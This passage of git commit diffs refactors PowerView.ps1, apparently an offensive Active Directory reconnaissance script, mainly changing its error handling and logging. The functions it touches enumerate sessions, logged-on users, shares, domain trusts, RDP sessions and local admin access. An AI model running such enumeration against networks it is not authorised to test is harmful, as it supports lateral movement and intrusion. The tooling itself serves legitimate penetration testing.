[bitconverter]::ToUInt32($dfs_targetlist_blob[$target_entry_size_start..$target_entry_size_end],0) - #write-host $target_entry_size $target_time_stamp_start = $target_entry_size_end + 1 $target_time_stamp_end = $target_time_stamp_start + 7 # FILETIME again or special if priority rank and priority class 0 @@ -5758,26 +5743,26 @@ function Get-DFSshare { $target_state_start = $target_time_stamp_end + 1 $target_state_end = $target_state_start + 3 $target_state = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_state_start..$target_state_end],0) - #write-host $target_state + $target_type_start = $target_state_end + 1 $target_type_end = $target_type_start + 3 $target_type = [bitconverter]::ToUInt32($dfs_targetlist_blob[$target_type_start..$target_type_end],0) - #write-host $target_type + $server_name_size_start = $target_type_end + 1 $server_name_size_end = $server_name_size_start + 1 $server_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$server_name_size_start..$server_name_size_end],0) - #write-host $server_name_size + $server_name_start = $server_name_size_end + 1 $server_name_end = $server_name_start + $server_name_size - 1 $server_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$server_name_start..$server_name_end]) - #write-host $server_name + $share_name_size_start = $server_name_end + 1 $share_name_size_end = $share_name_size_start + 1 $share_name_size = [bitconverter]::ToUInt16($dfs_targetlist_blob[$share_name_size_start..$share_name_size_end],0) $share_name_start = $share_name_size_end + 1 $share_name_end = $share_name_start + $share_name_size - 1 $share_name = [System.Text.Encoding]::Unicode.GetString($dfs_targetlist_blob[$share_name_start..$share_name_end]) - #write-host $share_name + $target_list += "\\$server_name\$share_name" $t_offset = $share_name_end + 1 } @@ -5797,8 +5782,6 @@ function Get-DFSshare { $servers = @() $object_list | ForEach-Object { - #write-host $_.Name; - #write-host $_.TargetList if ($_.TargetList) { $_.TargetList | ForEach-Object { $servers += $_.split("\")[2] @@ -6002,8 +5985,11 @@ function Get-GptTmpl { } # so we can cd/dir the new drive - $GptTmplPath = $RandDrive + ":\" + $FilePath - } + $TargetGptTmplPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGptTmplPath = $GptTmplPath + } } process { @@ -6012,9 +5998,9 @@ function Get-GptTmpl { $SectionsFinal = @{} try { - Write-Verbose "Parsing $GptTmplPath" + Write-Verbose "Parsing $TargetGptTmplPath" - Get-Content $GptTmplPath -ErrorAction Stop | ForEach-Object { + Get-Content $TargetGptTmplPath -ErrorAction Stop | ForEach-Object { if ($_ -match '\[') { # this signifies that we're starting a new section $SectionName = $_.trim('[]') -replace ' ','' @@ -6046,7 +6032,7 @@ function Get-GptTmpl { New-Object PSObject -Property $SectionsFinal } catch { - Write-Debug "Error parsing $GptTmplPath : $_" + Write-Debug "Error parsing $TargetGptTmplPath : $_" } } @@ -6110,14 +6096,17 @@ function Get-GroupsXML { } # so we can cd/dir the new drive - $GroupsXMLPath = $RandDrive + ":\" + $FilePath + $TargetGroupsXMLPath = $RandDrive + ":\" + $FilePath + } + else { + $TargetGroupsXMLPath = $GroupsXMLPath } } process { try { - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath -ErrorAction Stop + [xml] $GroupsXMLcontent = Get-Content $TargetGroupsXMLPath -ErrorAction Stop # process all group properties in the XML $GroupsXMLcontent | Select-Xml "//Groups" | Select-Object -ExpandProperty node | ForEach-Object { @@ -6165,27 +6154,29 @@ function Get-GroupsXML { if($ResolveSids) { $Memberof = $Memberof | ForEach-Object { $memof = $_ - if ($memof.StartsWith("S-1-")) - { + if ($memof.StartsWith("S-1-")){ try { Convert-SidToName $memof - } catch { + } + catch { $memof } - } else { + } + else { $memof } } $Members= $Members | ForEach-Object { $member = $_ - if ($member.StartsWith("S-1-")) - { + if ($member.StartsWith("S-1-")) { try { Convert-SidToName $member - } catch { + } + catch { $member } - } else { + } + else { $member } } @@ -6195,7 +6186,7 @@ function Get-GroupsXML { if($Members -isnot [system.array]) {$Members = @($Members)} $GPOProperties = @{ - 'GPOPath' = $GroupsXMLPath + 'GPOPath' = $TargetGroupsXMLPath 'Filters' = $Filters 'MemberOf' = $Memberof 'Members' = $Members @@ -6206,7 +6197,7 @@ function Get-GroupsXML { } } catch { - Write-Debug "Error parsing $GptTmplPath : $_" + Write-Debug "Error parsing $TargetGroupsXMLPath : $_" } } @@ -7507,7 +7498,7 @@ function Get-NetLocalGroup { [Parameter(ParameterSetName = 'WinNT', Position=0, ValueFromPipeline=$True)] [Alias('HostName')] [String[]] - $ComputerName = "$($env:COMPUTERNAME)", + $ComputerName = $Env:ComputerName, [Parameter(ParameterSetName = 'WinNT')] [Parameter(ParameterSetName = 'API')] -- cgit v1.2.3 From 848f7d31ce60140761299fecbaafd86cc5b33ad2 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Tue, 31 May 2016 23:14:05 -0400 Subject: Corrected error checking for functions that used GetLastError General errors are now parsed with [ComponentModel.Win32Exception] and written with Write-Verbose Write-Debug calls converted to Write-Verbose or removed --- Recon/PowerView.ps1 | 271 +++++++++++++++++----------------------------------- 1 file changed, 89 insertions(+), 182 deletions(-) (limited to 'Recon/PowerView.ps1') diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index f4339f7..dbf2ea7 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -961,7 +961,7 @@ filter Convert-SidToName { } } catch { - Write-Debug "Invalid SID: $SID" + Write-Verbose "Invalid SID: $SID" $SID } } @@ -1079,7 +1079,7 @@ filter Convert-ADName { Invoke-Method $Translate "Init" (1, $Domain) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate init in Convert-ADName: $_" + Write-Verbose "Error with translate init in Convert-ADName: $_" } Set-Property $Translate "ChaseReferral" (0x60) @@ -1089,7 +1089,7 @@ filter Convert-ADName { (Invoke-Method $Translate "Get" ($NameTypes[$OutputType])) } catch [System.Management.Automation.MethodInvocationException] { - Write-Debug "Error with translate Set/Get in Convert-ADName: $_" + Write-Verbose "Error with translate Set/Get in Convert-ADName: $_" } } @@ -1654,8 +1654,7 @@ filter Get-DomainSearcher { } elseif(!$DomainController) { try { - # if there's no -DomainController specified, try to pull the primary DC - # to reflect queries through + # if there's no -DomainController specified, try to pull the primary DC to reflect queries through $DomainController = ((Get-NetDomain).PdcRoleOwner).Name } catch { @@ -3096,7 +3095,7 @@ filter Get-UserEvent { } } catch { - Write-Debug "Error parsing event logs: $_" + Write-Verbose "Error parsing event logs: $_" } } } @@ -3131,7 +3130,7 @@ filter Get-UserEvent { New-Object -TypeName PSObject -Property $LogonEventProperties } catch { - Write-Debug "Error parsing event logs: $_" + Write-Verbose "Error parsing event logs: $_" } } } @@ -3737,7 +3736,7 @@ filter Get-GUIDMap { $SchemaSearcher.dispose() } catch { - Write-Debug "Error in building GUID map: $_" + Write-Verbose "Error in building GUID map: $_" } } @@ -3754,7 +3753,7 @@ filter Get-GUIDMap { $RightsSearcher.dispose() } catch { - Write-Debug "Error in building GUID map: $_" + Write-Verbose "Error in building GUID map: $_" } } @@ -5832,7 +5831,7 @@ function Get-DFSshare { } } catch { - Write-Debug "Error in parsing DFS share : $_" + Write-Verbose "Error in parsing DFS share : $_" } } } @@ -5902,7 +5901,7 @@ function Get-DFSshare { } } catch { - Write-Debug "Error in parsing target : $_" + Write-Verbose "Error in parsing target : $_" } } } @@ -5980,7 +5979,7 @@ function Get-GptTmpl { $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path $GptTmplPath : $_" + Write-Verbose "Error mounting path $GptTmplPath : $_" return $Null } @@ -6032,7 +6031,7 @@ function Get-GptTmpl { New-Object PSObject -Property $SectionsFinal } catch { - Write-Debug "Error parsing $TargetGptTmplPath : $_" + Write-Verbose "Error parsing $TargetGptTmplPath : $_" } } @@ -6091,7 +6090,7 @@ function Get-GroupsXML { $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path $GroupsXMLPath : $_" + Write-Verbose "Error mounting path $GroupsXMLPath : $_" return $Null } @@ -6197,7 +6196,7 @@ function Get-GroupsXML { } } catch { - Write-Debug "Error parsing $TargetGroupsXMLPath : $_" + Write-Verbose "Error parsing $TargetGroupsXMLPath : $_" } } @@ -6332,7 +6331,7 @@ function Get-NetGPO { # find any GPOs linked to the site for the given computer $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $GPONames += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { if($_.gplink) { $_.gplink.split("][") | ForEach-Object { @@ -6903,8 +6902,7 @@ function Find-GPOLocation { if($TargetSid -ne '*') { if($TargetSid -isnot [System.Array]) { $TargetSid = @($TargetSid) } - # use the tokenGroups approach from Get-NetGroup to get all effective - # security SIDs this object is a part of + # use the tokenGroups approach from Get-NetGroup to get all effective security SIDs this object is a part of $TargetSid += Get-NetGroup -Domain $Domain -DomainController $DomainController -PageSize $PageSize -UserName $ObjectSamAccountName -RawSids if($TargetSid -isnot [System.Array]) { [System.Array]$TargetSid = [System.Array]@($TargetSid) } @@ -6919,8 +6917,7 @@ function Find-GPOLocation { 'PageSize' = $PageSize } - # get all GPO groups, and filter on ones that match our target SID list - # and match the target local sid memberof list + # get all GPO groups, and filter on ones that match our target SID list and match the target local sid memberof list $GPOgroups = Get-NetGPOGroup @GPOGroupArgs | ForEach-Object { if ($_.members) { $_.members = $_.members | Where-Object {$_} | ForEach-Object { @@ -6940,8 +6937,7 @@ function Find-GPOLocation { # check if the memberof contains the sid of the local account we're searching for Write-Verbose "memberof: $($_.memberof)" if ($_.memberof -contains $LocalSid) { - # check if there's an overlap between the members field and the set of target sids - # if $TargetSid = *, then return all results + # check if there's an overlap between the members field and the set of target sids if $TargetSid = *, then return all results if ( ($TargetSid -eq '*') -or ($_.members | Where-Object {$_} | Where-Object { $TargetSid -Contains $_ })) { $_ } @@ -7143,7 +7139,7 @@ function Find-GPOComputerAdmin { # enumerate any linked GPOs for the computer's site $ComputerSite = (Get-SiteName -ComputerName $ComputerName).SiteName - if($ComputerSite -and ($ComputerSite -ne 'ERROR')) { + if($ComputerSite -and ($ComputerSite -notlike 'Error*')) { $GPOGroups += Get-NetSite -SiteName $ComputerSite -FullData | ForEach-Object { if($_.gplink) { $_.gplink.split("][") | ForEach-Object { @@ -7376,8 +7372,7 @@ function Get-DomainPolicy { if( $_.Name -eq 'PrivilegeRights') { $PrivilegeRights = New-Object PSObject - # for every nested SID member of PrivilegeRights, try to - # unpack everything and resolve the SIDs as appropriate + # for every nested SID member of PrivilegeRights, try to unpack everything and resolve the SIDs as appropriate $_.Value.psobject.properties | ForEach-Object { $Sids = $_.Value | ForEach-Object { @@ -7390,7 +7385,7 @@ function Get-DomainPolicy { } } catch { - Write-Debug "Error resolving SID : $_" + Write-Verbose "Error resolving SID : $_" } } @@ -7543,8 +7538,7 @@ function Get-NetLocalGroup { ForEach($Server in $Servers) { if($API) { - # if we're using the Netapi32 NetLocalGroupGetMembers API call to - # get the local group information + # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information # arguments for NetLocalGroupGetMembers $QueryLevel = 2 @@ -7559,7 +7553,6 @@ function Get-NetLocalGroup { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "NetLocalGroupGetMembers result for $Server : $Result" $LocalUsers = @() # 0 = success @@ -7570,8 +7563,7 @@ function Get-NetLocalGroup { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2 @@ -7579,13 +7571,10 @@ function Get-NetLocalGroup { $Offset += $Increment $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString) - Write-Debug "Result of ConvertSidToStringSid: $Result" + $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - if($Result -eq 0) { - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" + if($Result2 -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $LocalUser = New-Object PSObject @@ -7595,7 +7584,7 @@ function Get-NetLocalGroup { $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup') $LocalUser | Add-Member Noteproperty 'IsGroup' $IsGroup - # add in our custom object + $LocalUser.PSObject.TypeNames.Add('PowerView.LocalUser') $LocalUsers += $LocalUser @@ -7620,19 +7609,8 @@ function Get-NetLocalGroup { } $LocalUsers } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -7742,8 +7720,7 @@ function Get-NetLocalGroup { $Member.PSObject.TypeNames.Add('PowerView.LocalUser') $Member - # if the result is a group domain object and we're recursing, - # try to resolve all the group member results + # if the result is a group domain object and we're recursing, try to resolve all the group member results if($Recurse -and $IsDomain -and $IsGroup) { $FQDN = $Name.split("/")[0] @@ -7776,7 +7753,7 @@ function Get-NetLocalGroup { } } catch { - Write-Debug "Error resolving SID : $_" + Write-Verbose "Error resolving SID : $_" } } @@ -7872,8 +7849,6 @@ filter Get-NetShare { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetShare result for $Computer : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -7882,8 +7857,7 @@ filter Get-NetShare { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SHARE_INFO_1 @@ -7898,19 +7872,8 @@ filter Get-NetShare { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -7980,8 +7943,6 @@ filter Get-NetLoggedon { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetLoggedon result for $Computer : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -7990,8 +7951,7 @@ filter Get-NetLoggedon { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 @@ -8006,19 +7966,8 @@ filter Get-NetLoggedon { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -8096,8 +8045,6 @@ filter Get-NetSession { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetSession result for $Computer : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -8106,8 +8053,7 @@ filter Get-NetSession { # parse all the result structures for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $SESSION_INFO_10 @@ -8121,19 +8067,8 @@ filter Get-NetSession { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } @@ -8266,21 +8201,16 @@ filter Get-NetRDPSession { # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { - Write-Debug "WTSOpenServerEx handle: $Handle" - # arguments for WTSEnumerateSessionsEx $ppSessionInfo = [IntPtr]::Zero $pCount = 0 # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() # Locate the offset of the initial intPtr $Offset = $ppSessionInfo.ToInt64() - Write-Debug "WTSEnumerateSessionsEx result: $Result" - Write-Debug "pCount: $pCount" - if (($Result -ne 0) -and ($Offset -gt 0)) { # Work out how mutch to increment the pointer by finding out the size of the structure @@ -8289,8 +8219,7 @@ filter Get-NetRDPSession { # parse all the result structures for ($i = 0; ($i -lt $pCount); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 @@ -8322,39 +8251,44 @@ filter Get-NetRDPSession { # query for the source client IP with WTSQuerySessionInformation # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) - - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned);$LastError2 = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - $SourceIP = $Info2.Address - if($SourceIP[2] -ne 0) { - $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError2).Message)" } else { - $SourceIP = $Null - } + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS - $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP - $RDPSession + $SourceIP = $Info2.Address + if($SourceIP[2] -ne 0) { + $SourceIP = [String]$SourceIP[2]+"."+[String]$SourceIP[3]+"."+[String]$SourceIP[4]+"."+[String]$SourceIP[5] + } + else { + $SourceIP = $Null + } + + $RDPSession | Add-Member Noteproperty 'SourceIP' $SourceIP + $RDPSession - # free up the memory buffer - $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) + # free up the memory buffer + $Null = $Wtsapi32::WTSFreeMemory($ppBuffer) - $Offset += $Increment + $Offset += $Increment + } } # free up the memory result buffer $Null = $Wtsapi32::WTSFreeMemoryEx(2, $ppSessionInfo, $pCount) } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } # Close off the service handle $Null = $Wtsapi32::WTSCloseServer($Handle) } else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Verbose "LastError: $Err" + Write-Verbose "Error opening the Remote Desktop Session Host (RD Session Host) server for: $ComputerName" } } @@ -8412,24 +8346,20 @@ filter Invoke-CheckLocalAdminAccess { # 0xF003F - SC_MANAGER_ALL_ACCESS # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx - $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F) + $Handle = $Advapi32::OpenSCManagerW("\\$Computer", 'ServicesActive', 0xF003F);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() - Write-Debug "Invoke-CheckLocalAdminAccess handle: $Handle" + Write-Verbose "Invoke-CheckLocalAdminAccess handle: $Handle" $IsAdmin = New-Object PSObject $IsAdmin | Add-Member Noteproperty 'ComputerName' $Computer # if we get a non-zero handle back, everything was successful if ($Handle -ne 0) { - # Close off the service handle $Null = $Advapi32::CloseServiceHandle($Handle) $IsAdmin | Add-Member Noteproperty 'IsAdmin' $True } else { - # otherwise it failed - get the last error - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $Err" + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" $IsAdmin | Add-Member Noteproperty 'IsAdmin' $False } @@ -8484,7 +8414,6 @@ filter Get-SiteName { $PtrInfo = [IntPtr]::Zero $Result = $Netapi32::DsGetSiteName($Computer, [ref]$PtrInfo) - Write-Debug "Get-SiteName result for $Computer : $Result" $ComputerSite = New-Object PSObject $ComputerSite | Add-Member Noteproperty 'ComputerName' $Computer @@ -8494,21 +8423,13 @@ filter Get-SiteName { $Sitename = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($PtrInfo) $ComputerSite | Add-Member Noteproperty 'SiteName' $Sitename } - elseif($Result -eq 1210) { - Write-Verbose "Computername '$Computer' is not in a valid form." - $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' - } - elseif($Result -eq 1919) { - Write-Verbose "Computer '$Computer' is not in a site" - - $ComputerSite | Add-Member Noteproperty 'SiteName' $Null - } else { - Write-Verbose "Error" - $ComputerSite | Add-Member Noteproperty 'SiteName' 'ERROR' + $ErrorMessage = "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + $ComputerSite | Add-Member Noteproperty 'SiteName' $ErrorMessage } $Null = $Netapi32::NetApiBufferFree($PtrInfo) + $ComputerSite } @@ -8709,7 +8630,7 @@ filter Get-CachedRDPConnection { } catch { - Write-Debug "Error: $_" + Write-Verbose "Error: $_" } } @@ -8821,7 +8742,7 @@ filter Get-RegistryMountedDrive { } } catch { - Write-Debug "Error: $_" + Write-Verbose "Error: $_" } } } @@ -9058,7 +8979,7 @@ function Find-InterestingFile { $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop } catch { - Write-Debug "Error mounting path '$Path' : $_" + Write-Verbose "Error mounting path '$Path' : $_" return $Null } @@ -10906,7 +10827,7 @@ function Invoke-ShareFinder { # get the shares for this host and check what we find $Shares = Get-NetShare -ComputerName $ComputerName ForEach ($Share in $Shares) { - Write-Debug "[*] Server share: $Share" + Write-Verbose "[*] Server share: $Share" $NetName = $Share.shi1_netname $Remark = $Share.shi1_remark $Path = '\\'+$ComputerName+'\'+$NetName @@ -10921,7 +10842,7 @@ function Invoke-ShareFinder { "\\$ComputerName\$NetName `t- $Remark" } catch { - Write-Debug "Error accessing path $Path : $_" + Write-Verbose "Error accessing path $Path : $_" } } } @@ -10935,7 +10856,7 @@ function Invoke-ShareFinder { "\\$ComputerName\$NetName `t- $Remark" } catch { - Write-Debug "Error accessing path $Path : $_" + Write-Verbose "Error accessing path $Path : $_" } } else { @@ -11392,7 +11313,7 @@ function Invoke-FileFinder { $SearchShares += $Path } catch { - Write-Debug "[!] No access to $Path" + Write-Verbose "[!] No access to $Path" } } } @@ -12544,8 +12465,6 @@ function Get-NetDomainTrust { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { @@ -12554,8 +12473,7 @@ function Get-NetDomainTrust { # parse all the result structures for ($i = 0; ($i -lt $DomainCount); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure + # create a new int ptr at the given offset and cast the pointer as our result structure $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS @@ -12563,12 +12481,10 @@ function Get-NetDomainTrust { $Offset += $Increment $SidString = "" - $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString) + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() if($Result -eq 0) { - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - $Err = $Kernel32::GetLastError() - Write-Error "ConvertSidToStringSid LastError: $Err" + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" } else { $DomainTrust = New-Object PSObject @@ -12589,15 +12505,8 @@ function Get-NetDomainTrust { # free up the result buffer $Null = $Netapi32::NetApiBufferFree($PtrInfo) } - else - { - switch ($Result) { - (50) { Write-Debug 'The request is not supported.' } - (1004) { Write-Debug 'Invalid flags.' } - (1311) { Write-Debug 'There are currently no logon servers available to service the logon request.' } - (1786) { Write-Debug 'The workstation does not have a trust secret.' } - (1787) { Write-Debug 'The security database on the server does not have a computer account for this workstation trust relationship.' } - } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" } } else { @@ -13140,16 +13049,15 @@ $FunctionDefinitions = @( (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())), (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())), (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType())), - (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int])), + (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError), + (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError), (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])), - (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), - (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType())), + (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), + (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError), (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])), (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])), - (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])), - (func kernel32 GetLastError ([Int]) @()) + (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr])) ) # enum used by $WTS_SESSION_INFO_1 below @@ -13267,5 +13175,4 @@ $DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{ $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' $Netapi32 = $Types['netapi32'] $Advapi32 = $Types['advapi32'] -$Kernel32 = $Types['kernel32'] $Wtsapi32 = $Types['wtsapi32'] -- cgit v1.2.3 From f6ee5cb92ee7c037e57f5b09bc01340efea59283 Mon Sep 17 00:00:00 2001 From: Harmj0y Date: Mon, 6 Jun 2016 06:21:02 -0400 Subject: Rewrote/corrected logic for Get-NetGPOGroup, Find-GPOLocation, and Find-GPOComputerAdmin Rewrote/corrected logic for 